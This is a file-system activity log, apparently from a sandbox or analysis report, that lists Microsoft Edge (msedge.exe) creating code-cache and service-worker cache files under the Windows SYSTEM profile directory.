Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\64ed8a037a2f94fd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe39ccdcb766bff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a67b6886fc3a1533_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bcbeb99c632832c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9ea93077e6479eb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f9f14e821fcb4c3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\73a155ccb96a34df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7e276c1c0fd04047_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\561af5d42344f371_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ce4b08ebb1d3bbfb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f4f9c98ed04b5ec4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1a4559480b03e3ce_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\71e04dd11a8b8c73_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8b65a96eb9aee0b0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2af50681e7e165d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\33f60a11fe8d3c4d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\51799300f73251f6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6840e7e9b84ec2af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3629afc6d6acd41e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8d22457d87f44ef8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9856673ea76d0deb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\56de766e4b855cff_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF5ff28.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\79aca4930c963cc4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\79aca4930c963cc4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ab1bc50940155da2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ab1bc50940155da2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1ec501c0deb2b230_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\50d287955aa0db29_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\50d287955aa0db29_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9c2093a42ab626e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9c2093a42ab626e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\fe28fecdb95e061d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\fe28fecdb95e061d_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\55a83b115fd80ff7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\55a83b115fd80ff7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd78a0385768f031_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\220b19b1a50a5193_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\19d3a2ebe01e9d93_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8e22a32560be33db_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3dd2ccc2ea2b051a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\19d3a2ebe01e9d93_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cbec4dd87a69e757_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\07b1950aac4cbcd7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a02b8787951af064_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\07b1950aac4cbcd7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a04c66213289cbcc_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a04c66213289cbcc_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b29ae22bf7251723_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b29ae22bf7251723_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\cdf823ec88206886_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\cdf823ec88206886_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ebc969827e6e78fa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8bc61d4d469e2ce1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4b2031c4900ecc4a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4b2031c4900ecc4a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\c4d2fa04c172ed30_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\c4d2fa04c172ed30_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a35853fdac8eb01_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a35853fdac8eb01_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3724a6a8fc82d494_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3724a6a8fc82d494_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\03ef8094c0f96a5f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\03ef8094c0f96a5f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\217a7ae8a3007b2b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\95737fb756b79a44_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\95737fb756b79a44_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\db0c0490c2e282cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\db0c0490c2e282cb_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d1c87e07019d8b4e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d1c87e07019d8b4e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7b67dad731ab807_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7b67dad731ab807_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7759e79df45235f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7759e79df45235f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0b17bb7e9cf5a436_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0b17bb7e9cf5a436_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0f0839cc28cc3d3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0f0839cc28cc3d3e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b5b383720128fe63_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b5b383720128fe63_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ec37128008082892_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ec37128008082892_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ee51d1c28e826730_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ee51d1c28e826730_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\218e3edb66f90ca2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\218e3edb66f90ca2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0f172b013abb176_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0f172b013abb176_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6389b23f4bc62c06_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6389b23f4bc62c06_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\23a857e3f0a12e9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\23a857e3f0a12e9b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\819f3848762bde15_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\819f3848762bde15_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\773ec66002a68baf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\773ec66002a68baf_1
